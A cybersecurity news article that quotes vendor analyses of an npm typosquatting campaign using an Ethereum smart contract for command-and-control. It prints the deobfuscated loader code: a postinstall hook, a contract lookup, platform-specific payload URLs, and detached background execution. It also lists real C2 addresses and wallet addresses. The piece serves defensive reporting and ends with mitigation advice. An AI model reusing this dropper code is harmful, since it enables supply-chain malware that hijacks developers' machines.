#1 Middle East & Africa Trusted Cybersecurity News & Magazine |

23 C
Dubai
Tuesday, January 21, 2025
HomeTopics 1Application SecuritySupply Chain Attack Using Ethereum Smart Contracts to Distribute Multi-Platform Malware

Supply Chain Attack Using Ethereum Smart Contracts to Distribute Multi-Platform Malware

Date:

Related stories

spot_imgspot_imgspot_imgspot_img

In an alarming twist for cybersecurity, threat actors have leveraged Ethereum smart contracts to execute a supply chain attack that distributes multi-platform malware across Windows, Linux, and macOS systems. This sophisticated tactic combines blockchain technology and traditional malware distribution, demonstrating a novel method of command-and-control (C2) that evades traditional defenses. Security teams must adapt quickly to address this growing threat, which shows how decentralized technology can be weaponized to support malicious operations.

How the Attack Unfolded

The attack primarily targeted the npm ecosystem, masquerading as a package called “jest-fet-mock.” It impersonated legitimate JavaScript testing utilities by employing typosquatting, using a slight misspelling to deceive developers into downloading the malicious package. Once downloaded, the malware accessed an Ethereum smart contract to retrieve its C2 server address, making it difficult to take down or block.

By using a decentralized C2 mechanism, the attackers were able to avoid detection and takedown efforts. Every new infection checked the Ethereum contract for updated C2 addresses, providing the attackers with flexibility to adjust their servers without modifying the malware.

Why This Attack Stands Out

What makes this attack particularly dangerous is its multi-platform nature and the use of blockchain for C2. The threat actors targeted development environments where the npm packages would be installed, thus potentially compromising Continuous Integration/Continuous Deployment (CI/CD) pipelines. Furthermore, the decentralized nature of Ethereum smart contracts makes it nearly impossible to disrupt the attackers’ communication infrastructure. This attack exemplifies a new direction in malware distribution—one that could reshape cybersecurity’s approach to supply chain protection.

Initial Execution

“The attack chain begins during the npm package installation process through the preinstall script. This script determines the host operating system and constructs a platform-specific URL to download the appropriate payload. The malware then spawns a detached process, ensuring the malicious code continues running independently of the installation process.

Multi-Platform Malware

Our analysis revealed distinct malware variants designed for:

Windows (SHA-256: df67a118cacf68ffe5610e8acddbe38db9fb702b473c941f4ea0320943ef32ba),

Linux (SHA-256: 0801b24d2708b3f6195c8156d3661c027d678f5be064906db4fefe74e1a74b17),

and macOS (SHA-256: 3f4445eaf22cf236b5aeff5a5c24bf6dbc4c25dc926239b8732b351b09698653).

Notably, as of this writing, none of these files have been flagged as malicious by any security vendors on VirusTotal.

The malware variants demonstrated various capabilities including system reconnaissance, credential theft, and establishing persistence through platform-specific mechanisms – using AutoStart files in Linux and Launch Agent configuration (~/Library/LaunchAgents/com.user.startup.plist) in macOS.

Throughout their operation, all variants maintain consistent communication with the attacker’s C2 server, showcasing a coordinated cross-platform attack strategy aimed at compromising development environments.” checkmarx

Overview

“We often see attackers begin campaigns with several test publications. This appears to be the case here as well, with the first package publication to npm titled daun124wdsa8

This package contained the following package.json with a postinstall hook that executes the clzypp8j.js file.

{
  "name": "daun124wdsa8",
  "version": "23.6.1",
  "description": "A high-level API to control headless Chrome over the DevTools Protocol",
  "keywords": [
    "puppeteer",
    "chrome",
    "headless",
    "automation"
  ],
  ...
  "scripts": {
    "postinstall": "node clzypp8j.js"
  },
  ...
}

The attacker clearly intended to execute something during package installation. However, the file in question was not included in the package. An apparent oversight by the malicious package author.

They quickly followed up with two additional publications, zalfausi8 and zalf22ausi8.

Both of these packages contained the following obfuscated Javascript, which was executed during package installation.

Walking through the deobfuscated code, we see the typical malware behaviors: constructing download URLs, fetching remote executables, and surreptitiously running them on the target machine.

What stands out is the fact that the IP address the executables are fetched from are nowhere to be found in the actual source. So how does the execution know where to send the request? Let’s take a look at the code in more detail.

const {ethers} = require("ethers");
const axios = require("axios");
const fs = require('fs');
const path = require('path');
const os = require('os');
const {spawn} = require('child_process');

const abi = ["function getString(address account) public view returns (string)"];
const provider = ethers.getDefaultProvider("mainnet");
const contract = new ethers.Contract('0xa1b40044EBc2794f207D45143Bd82a1B86156c6b', abi, provider);
const fetchAndUpdateIp = async () => {
  try {
    const ipAddrFromContract = await contract.getString("0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84");
    return ipAddrFromContract;
  } catch (error) {
	// Russian for "Error getting IP address:"
    console.error("Ошибка при получении IP адреса:", error);
    return await fetchAndUpdateIp();
  }
};
//... Clipped for brevity

This code interacts with an Ethereum smart contract using the ethers.js library to fetch a string, in this case an IP address, associated with a specific contract address on the Ethereum mainnet. Let’s look at this line by line.

Define the ABI

const abi = ["function getString(address account) public view returns (string)"];

This line specifies the ABI (Application Binary Interface) for the getString function in the smart contract. The ABI acts as a bridge, allowing JavaScript to understand and interact with the contract’s functions. Here, getString is a view function that takes an Ethereum address as an argument and returns a string.

Set up the provider

const provider = ethers.getDefaultProvider("mainnet");

This sets up a provider connected to the Ethereum mainnet, enabling the code to communicate with the blockchain. The getDefaultProvider function connects to a decentralized Ethereum node to facilitate read-only operations on the network.

Create a contract instance

const contract = new ethers.Contract('0xa1b40044EBc2794f207D45143Bd82a1B86156c6b', abi, provider);

Using the contract’s address (0xa1b40044EBc2794f207D45143Bd82a1B86156c6b), ABI, and provider, this line creates an instance of the contract, enabling interaction with it. This instance is crucial for calling the contract’s functions, such as getString.

Define the asynchronous function fetchAndUpdateIp

const fetchAndUpdateIp = async () => { ... };

The fetchAndUpdateIp function fetches the string (e.g., IP address) for the given ID (0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84). Here’s how it works:

const ipAddrFromContract = await contract.getString("0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84");
return ipAddrFromContract;

This line calls the getString function on the contract, providing an Ethereum address as the argument. The function retrieves the associated string (such as an IP address) and returns it.

In this particular case, the following IP address is returned: http://193.233.201.21:3001.

Attempting to access any non-existent files on this host, returns the following. The path botnet-server feels particularly telling 💀.

An interesting thing about storing this data on the Ethereum blockchain is that Ethereum stores an immutable history of all values it has ever seen. Thus, we can see every IP address this threat actor has ever used.

  • On 2024-09-23 00:55:23Z it was http://localhost:3001
  • From 2024-09-24 06:18:11Z it was http://45.125.67.172:1228
  • From 2024-10-21 05:01:35Z it was http://45.125.67.172:1337
  • From 2024-10-22 14:54:23Z it was http://193.233.201.21:3001
  • From 2024-10-26 17:44:23Z it is http://194.53.54.188:3001

Putting It All Together

There are several additional functions used to construct the download URL. This ensures that a binary compatible with the given OS is retrieved from the remote server.

const getDownloadUrl = hostAddr => {
  const platform = os.platform();
  switch (platform) {
    case 'win32':
      return hostAddr + "/node-win.exe";
    case "linux":
      return hostAddr + "/node-linux";
    case "darwin":
      return hostAddr + "/node-macos";
    default:
      throw new Error("Unsupported platform: " + platform);
  }
};

The malware author additionally creates a function for executing and running the malware in the background on the target machine.

const executeFileInBackground = async path => {
  try {
    const proc = spawn(path, [], {
      'detached': true,
      'stdio': "ignore"
    });
    proc.unref();

  } catch (error) {
    console.error("Ошибка при запуске файла:", error);
  }
};

And finally, they define and execute a function that puts it all together and ultimately initiates execution.

onst runInstallation = async () => {
  try {
    const ipAddr = await fetchAndUpdateIp();
    const downloadUrl = getDownloadUrl(ipAddr);
    const tmpDir = os.tmpdir();
    const filename = path.basename(downloadUrl);
    const downloadPath = path.join(tmpDir, filename);
    await downloadFile(downloadUrl, downloadPath);

    if (os.platform() !== "win32") {
      fs.chmodSync(downloadPath, "755");
    }
    executeFileInBackground(downloadPath);
  } catch (error) {
    console.error("Ошибка установки:", error);
  }
};
runInstallation();

But What’s In The Binary?

At this point, the threat actor has execution on the victim machine. The payload has been fetched from the remote server and is now running in memory. But what is exactly running in this case?

The binary shipped to the machine is a packed Vercel package. It adds itself to start on login and updates its IP using the exact Ethereum contract/ID mechanism from above.

It performs a handful of requests to fetch additional Javascript files and then posts system information back to the same requesting server. This information includes information about the GPU, CPU, the amount of memory on the machine, username, and OS version.” Phylum.

“Technical Analysis#

Discovery and Initial Assessment

Our investigation began last week with the discovery of a suspicious package named “haski” (version 2.8.5) – a typosquat targeting husky, the popular git hooks library. This malicious package attempted to exploit husky’s reputation by mimicking its name while containing obfuscated malicious code linked to an Ethereum wallet address.

The malicious code was designed to execute automatically upon installation through a postinstall script defined in the package’s package.json file. The postinstall script is a lifecycle hook in npm that runs automatically after the package is installed. By leveraging this, the attackers ensure that their malicious code is executed without any additional action from the user.

This initial finding proved to be the tip of the iceberg.

Over the last twenty-four hours, our AI scanner detected a sudden wave of malware packages flooding the npm ecosystem, all exhibiting the same execution flow and identical blockchain-based characteristics. This onslaught suggests a carefully plotted attack, with the initial “haski” package potentially serving as a test run.

Further investigation revealed dozens of packages, all following a consistent pattern:

  • Legitimate-looking package names and descriptions
  • Similar obfuscation patterns using the _0x prefix
  • Identical code structure once deobfuscated
  • Common Ethereum contract interactions using the same wallet address found in the initial “haski” typosquat

Upon deobfuscation, we confirmed these packages were part of a coordinated campaign, each containing a sophisticated multi-stage malware downloader using Ethereum smart contracts for C2 communication. The attack infrastructure was consistent across all packages, using the same Ethereum contract address and wallet for C2 communication.

Each of the more than one hundred malware packages was published by a distinct, fake maintainer likely auto-generated through a tool like Faker. These profiles use randomized usernames and plausible email addresses with common names and random digits, such as upj4cimrds1fo with email address KarenCampbelljzm2902@gmail.com.

Some notable patterns across the discovered packages include:

  • Similar publication timestamps after the initial “haski” deployment, suggesting automated campaign expansion
  • Consistent code obfuscation techniques
  • Identical blockchain-based C2 mechanism
  • Uniform cross-platform payload delivery methods

This evolution from a targeted typosquat of a popular package to a broader automated campaign demonstrates the threat actors’ shift toward more sophisticated and scalable attack methodologies.

Attack Architecture

The malware operates in three distinct stages:

Blockchain-Based C2 Retrieval

const contractAddress = '0xa1b40044EBc2794f207D45143Bd82a1B86156c6b';
const WalletOwner = '0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84';
const abi = ['function getString(address account) public view returns (string)'];

The malware queries a specific Ethereum contract to retrieve the payload URL, making traditional C2 blocking ineffective.

Through dynamic analysis of the contract interactions, we developed a script to query the malicious smart contract directly:

const { ethers } = require("ethers");

const provider = ethers.getDefaultProvider("mainnet");
const abi = ["function getString(address account) public view returns (string)"];
const contract = new ethers.Contract("0xa1b40044eBc2794f2707d45143Bd82a1B86156c6b", abi, provider);

async function getUrl() {
    try {
        const address = ethers.utils.getAddress("0x522212c293a21DBCA7AFD01aC6bFAC7175D590A84");
        const baseUrl = await contract.getString(address);
        console.log("Base URL:", baseUrl);
    } catch (error) {
        console.error("Error:", error);
    }
}

getUrl();

The contract query returned a C2 server address operating at http://45[.]125[.]67[.]172:1337. The use of a non-standard port (1337), combined with blockchain-based command retrieval, indicates a deliberate effort to evade standard detection mechanisms and to create a resilient and hard-to-disrupt C2 infrastructure:

Key findings from the C2 analysis:

  • Direct IP address usage instead of domain names
  • Non-standard port implementation
  • Contract-based address retrieval

Cross-Platform Payload Distribution

const getDownloadUrl = (baseUrl) => {
    const platform = os.platform();
    switch (platform) {
        case 'win32':
            return baseUrl + '/node-win.exe';
        case 'linux':
            return baseUrl + '/node-linux';
        case 'darwin':
            return baseUrl + '/node-macos';
    }
};

The code demonstrates a targeted platform detection and targeted payload delivery for Windows, Linux, and MacOS systems.

Stealthy Execution

const executeFileInBackground = async (filepath) => {
    const process = spawn(filepath, [], {
        detached: true,
        stdio: 'ignore'
    });
    process.unref();
};

The malware executes the downloaded payload with multiple stealth mechanisms:

  • Uses system temp directory for payload storage
  • Spawns detached processes
  • Implements error handling for persistence
  • Operates silently without user interaction

Crypto Address Workflow

The funding address 0x4E5B2e1dc63F6b91cb6Cd759936495434C7e972F appears to have a history of involvement in several crypto scams and controversial campaigns, including an incident where approximately $26 million was reportedly drained from BTC and ETH wallets and a portion deposited into this address.

The flow begins with the address (0x4E5B2…), which enables anonymous transactions, passing funds to an intermediary address (0x46b0f9bA…) for further separation. The funds then reach the primary wallet (0x52221c2…), the main operational hub that frequently interacts with a suspicious contract (0xa1b400…), using the Set String method to store or update data. This contract likely acts as a C2 node, allowing the attacker to maintain control over malware deployments securely and persistently through the blockchain. The transaction chain is carefully structured with low-value transactions to avoid detection, demonstrating a novel use of blockchain technology for decentralized and resilient C2 infrastructure.

Russian Language Used in the Malicious Code

During the analysis, the Socket Threat Research Team identified multiple instances of Russian language usage within the malicious packages codebase. The code contains error messages written in Russian, which are used in exception handling and logging.

console.error('Ошибка установки:', error);


Translation: “Installation error:”. This string is logged when an error occurs during the installation or execution of the downloaded file.

console.error('Ошибка при получении IP адреса:', error);

Translation: “Error retrieving IP address:”. This string is logged when there is an error while fetching data from the Ethereum smart contract.

The inclusion of Russian language elements in the malicious code suggests the attacker might be proficient in Russian, but this should be interpreted cautiously due to the possibility of deliberate misattribution or code reuse. Language usage is just one factor among many, and further analysis is necessary to conclusively determine the attacker’s identity and origin.

Impact and Implications

This attack vector is particularly concerning for several reasons:

  • Resilient C2: Traditional domain blocking is ineffective against blockchain-based communication
  • Cross-Platform: Targets all major operating systems
  • Stealth: Intentional obfuscation and execution techniques
  • Persistence: Error handling ensures payload delivery by persistently retrying data from the blockchain

Protect your Supply Chain with Socket#

The discovery of this blockchain-based malware campaign demonstrates the evolving sophistication of supply chain attacks in the npm ecosystem. Threat actors are now leveraging smart contracts for command and control, making traditional security measures ineffective. This campaign, spanning multiple packages like “ethsg-util”, “web3-toekn”, and “ethblk-tracker”, showcases how attackers can distribute advanced malware through seemingly legitimate packages.

Traditional code review and manual security checks are insufficient against these modern threats. The malware’s use of blockchain for C2, intentional obfuscation, and cross-platform payload delivery demands a more robust, automated approach to package security. Socket’s free GitHub app provides this crucial layer of protection by:

  • Identifying obfuscated malicious code patterns
  • Scanning install scripts for dangerous system operations
  • Alerting developers instantly via GitHub comments before malicious code enters your supply chain
  • Unauthorized network connections
  • Cross-platform payload downloads
  • System-level operations

Install Socket’s free GitHub app today and get immediate protection against advanced supply chain attacks.” socket

10 Strategies to Strengthen Defense Against Supply Chain Attacks

  1. Implement a Zero-Trust Architecture: By adopting a zero-trust approach, organizations can prevent unauthorized access to sensitive assets, reducing potential damage from compromised software.
  2. Use Cryptographic Code Signing: Ensure that all software packages are signed, and verify signatures before installation. This adds an additional layer of verification.
  3. Strengthen Package Management Policies: Only allow trusted and verified packages from official repositories to be used in development environments.
  4. Conduct Regular Software Composition Analysis (SCA): Automated SCA tools can help identify vulnerabilities or signs of tampering in open-source libraries and dependencies.
  5. Deploy Behavior Analytics: Use behavior-based detection for monitoring unexpected network communications, which could signal malware activity.
  6. Audit Smart Contract Interactions: If blockchain technologies are involved, regularly audit any interactions with smart contracts and investigate unusual or unauthorized transactions.
  7. Educate Development Teams: Train developers on secure package management practices and how to identify typosquatting attempts to reduce accidental malware installation.
  8. Limit Privileges in Development Environments: Restrict privileges in development and CI/CD environments to minimize the impact of a compromised package.
  9. Enable Real-Time Threat Intelligence: Use a threat intelligence platform that tracks emerging threats in open-source repositories and identifies indicators of compromise (IOCs) promptly.
  10. Deploy Endpoint Detection and Response (EDR): Multi-platform EDR solutions can help detect and contain malware on endpoints across various operating systems.

Conclusion

This Ethereum-based supply chain attack highlights the escalating sophistication in cyber tactics, blending decentralized blockchain technology with malware distribution to target developers and their environments. By masquerading as a legitimate npm package, the attackers introduced multi-platform malware with decentralized C2, underscoring the need for a more comprehensive approach to supply chain security.

This incident should serve as a wake-up call for organizations to strengthen their defenses and incorporate blockchain security as part of their overall cybersecurity posture.

Want to stay on top of cybersecurity news? Follow us on Facebook, X (Twitter), Instagram, and LinkedIn for the latest threats, insights, and updates!

Ouaissou DEMBELE
Ouaissou DEMBELEhttp://cybercory.com
Ouaissou DEMBELE is an accomplished cybersecurity professional and the Editor-In-Chief of cybercory.com. He has over 10 years of experience in the field, with a particular focus on Ethical Hacking, Data Security & GRC. Currently, Ouaissou serves as the Co-founder & Chief Information Security Officer (CISO) at Saintynet, a leading provider of IT solutions and services. In this role, he is responsible for managing the company's cybersecurity strategy, ensuring compliance with relevant regulations, and identifying and mitigating potential threats, as well as helping the company customers for better & long term cybersecurity strategy. Prior to his work at Saintynet, Ouaissou held various positions in the IT industry, including as a consultant. He has also served as a speaker and trainer at industry conferences and events, sharing his expertise and insights with fellow professionals. Ouaissou holds a number of certifications in cybersecurity, including the Cisco Certified Network Professional - Security (CCNP Security) and the Certified Ethical Hacker (CEH), ITIL. With his wealth of experience and knowledge, Ouaissou is a valuable member of the cybercory team and a trusted advisor to clients seeking to enhance their cybersecurity posture.

Subscribe

- Never miss a story with notifications

- Gain full access to our premium content

- Browse free from up to 5 devices at once

Latest stories

spot_imgspot_imgspot_imgspot_img

LEAVE A REPLY

Please enter your comment!
Please enter your name here